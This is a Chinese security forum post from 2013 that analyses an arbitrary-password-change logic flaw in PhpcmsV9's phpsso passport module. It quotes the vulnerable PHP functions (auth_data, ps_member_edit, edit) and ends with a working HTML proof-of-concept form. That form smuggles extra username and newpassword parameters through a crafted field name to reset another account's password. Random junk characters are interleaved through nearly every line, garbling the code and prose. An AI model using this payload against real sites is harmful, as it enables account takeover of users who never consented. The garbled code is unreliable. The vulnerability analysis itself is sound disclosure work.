找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1813|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
# l8 U- U9 W( H5 M9 K  n! R* M+ q  [5 D) K$ R( z  e2 X; o
! E: B. h- x  u9 v; L  J
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
* _4 x3 [0 y& P5 O/ }2 E" Y
: t$ F( k0 Q6 c/ X& B在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
& E6 g6 C/ A* }0 R0 Q- ^: Q$ B& f" l+ `+ T
我把它留给了你们。
* e& I; c. k. ?- b7 D# W4 a7 L不知道你们发现了它没有。
) j) R! r$ |  d1 S. p/ T. h
$ q9 f% C! V! t* c9 ^我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
; s) D; G1 X; F( W/ d! C
5 [; ~  a) o7 w所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。1 H* s6 K& e: H( e

2 L$ @) n3 N0 d0 x, H, l0 n也就是2 W9 v7 Z0 E5 w7 Q; k  d
0 R# r- q$ i, q2 o
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
  r% r. W) F! u5 d9 x0 A  L3 K! S# L# `; C% v; R
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
: V7 I( t4 l) x' r( O# Z2 Y; Y; a- s( N" k, N4 a1 V

. O2 {! a: N2 l7 K其实我们有这样的机会,看看代码,如下:
% F1 O3 @, K5 i, L7 L
) t! ]  o" u: Z/ p% |; _; C
1 L7 j: }, b; `- c% T5 ]4 spublic function auth_data($data) {
  w" p$ j, L9 L7 @                $s = $sep = '';
# ^& l* x2 ]+ o; P( v5 [; C" P/ `5 y                foreach($data as $k => $v) {
5 x' i( W4 L2 m. x) k( l                        if(is_array($v)) {
: y4 X3 P/ F3 c9 N$ Y                                $s2 = $sep2 = '';4 Y( |& |9 z$ B% M% ~6 X
                                foreach($v as $k2 => $v2) {
6 I4 c8 {* v+ W                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);8 C$ H1 v& R3 S* ~
                                        $sep2 = '&';
9 b% w; O7 J- A. Z  f  F* R                                }- R& P% z8 f5 O7 k* x2 c6 L
                                $s .= $sep.$s2;
, {% V  |" G$ H9 W0 }6 |                        } else {7 S4 |9 p0 b' U8 V
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);  ?4 x3 J3 b' s) {( i0 b
                        }* `+ x% d3 A" [4 K5 i3 T% F0 L' Y
                        $sep = '&';0 e9 b0 Z  g9 Q3 g' k$ w
                }+ H3 J3 W) l# s
  ~1 u8 P, ?9 `2 g- O
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));2 N8 Z5 Y$ f, a1 ]% Y* m7 X
                return $auth_s;
$ L; O- K2 i# O/ Y0 U        }% v4 l: k3 _" W9 Z; N- v% Z
/ F3 Z+ K) I& |5 i& C) ^6 r' t
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。: {6 `' B; G; d0 p* w: d# x" X

* ]( g. y5 P% ?' x% O5 F2 S$ t1 I) Z  U举个例子
6 a0 m# N9 u. u" J0 R% k
( e, b* K! q9 H# A# e  o$a[aaa=a&bbb] = 'a';1 Y6 s2 [( \2 u* k! r

2 T. F3 M( L* R, h7 F0 w6 c会变成aaa=a&bbb=a
! J7 h8 f; \5 }; F* ]( |4 A8 M+ M0 Q5 h6 n0 ~' G5 w
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。2 L1 s8 r5 S, `4 f1 y- v

( }% d  \% a$ E这个时候,我们可以再去看一个函数。
; R0 m, F+ ^0 B  S/ P2 B9 C  ^$ b% X6 ^0 n: C6 Q
就在这个文件内:
; h" D* D: t- d7 [- ]5 U+ z2 n0 f, b) O! i
5 Z0 V5 l$ p& t6 o7 y
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
. @* Y6 \. V' g. j4 ]0 T9 J                if($email && !$this->_is_email($email)) {
; k! ~( N4 |' w6 o3 b& [0 A2 U                        return -4;
+ X. H5 g* C/ q+ s# ?                }( {5 X5 S, I7 T) A
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));- {: I' r7 v) s; H: P
        }7 v5 ~1 D+ a/ e3 `$ a  u

& t  K+ u4 }# l, n: w3 ~这是向通行证发了这样一个请求。3 E3 p8 z- s& _, p4 r" ], J9 O
0 Q! O- H# a1 ]
我们再跟到通信证代码里去看看,就会有所发现。  o! C3 u- F) F- F" f; x

  Y. q9 l9 C+ j
5 T8 Y0 i& z) d' Spublic function edit() {% Q4 s. Q6 d6 o
//能省就省,太长了不是吗?
1 `$ V- d" ?! o# }
: e( J) U& c& l6 ?if($this->username) {7 T1 f9 l$ T8 T' q
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
7 ~# e  m- F9 y4 z9 Z6 @, V                                $res = $this->db->update($data, array('username'=>$this->username));7 }5 H. `& J. M) u: R
                        } else {
! x* X( e/ G! e8 q: K. m0 s                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);% L$ ?1 w  e' ]& X5 V
                                $res = $this->db->update($data, array('uid'=>$this->uid));7 [% g$ @+ g. G" I/ E
                        }
% G# d, w4 o& G
/ K1 }2 I9 q4 W  r3 M( u好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
; e$ q0 I( s8 l( A' U3 P3 b" u% G" B9 l  k8 \" r! p# G% ?
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
% X& x8 s! U" t1 O( t) t* O; q& E
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。/ `9 d1 t6 u- X& W# c9 X
1 ]$ ?+ z  B! d$ M
我当然找到了:
* P- }7 m; t7 q( f7 V: Wphpcms9/phpcms/modules/member/index.php
2 U  ~9 d* ?, i+ k/ @# W2 n, q7 G/ k
/ D' ?0 m+ A$ C6 |+ M$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);# {* C( D8 y1 ]" ]3 {9 W  t
8 S) [8 B+ Y' ~) y# X4 z8 U& x
然后就没有然后了。6 e3 u% l/ T9 @" l* g" F# M

; z6 C9 L2 J2 w" X<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">, R- Z. M2 z& H% ?
                                <table width="100%" cellspacing="0" class="table_form">
. O4 T; j+ c3 H& V' ]                                        <tr>
$ ?" M* T8 l5 ?: M5 b                                                <th width="80">邮箱:</th>        $ W: j( x8 F, D; Q9 _! v9 G
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
1 D$ w; o4 K) S; l3 @; A                                        </tr>
% o9 u0 V! \. O1 R4 K/ H' z. O" f                                        <tr>% N+ e9 T! w' r. R
                                                <th width="80">原密码:</th>        & G* e5 l7 V  [# G, g  P- n
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>' G- Q! E2 V6 I2 m" x9 h4 b
                                        </tr>
: A% N1 ~" O* U( F                                        <tr># Z0 c5 ?4 Z7 ~& Q' m1 r0 T) a5 y' N
                                                <th>新密码:</th>
3 V1 U- E& p& E9 z" X                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>3 X+ F  U- {5 M1 ]4 |1 V- v
                                        </tr>
& C2 p& Y# s$ `                                        <th></th>$ q" z1 _/ }  m1 }9 T9 K
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
- c- Z! O& T$ r6 H                                        </tr>
0 k/ O; n1 z0 ~2 ?/ e                                </table>$ X4 l+ `: I: O% e
& U2 ]% P& d& ~; G7 b
                                4 ~. J) y% G6 G7 p: T. r: F
                        </form>
* n  x, b/ t+ H, Q$ i) x( f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表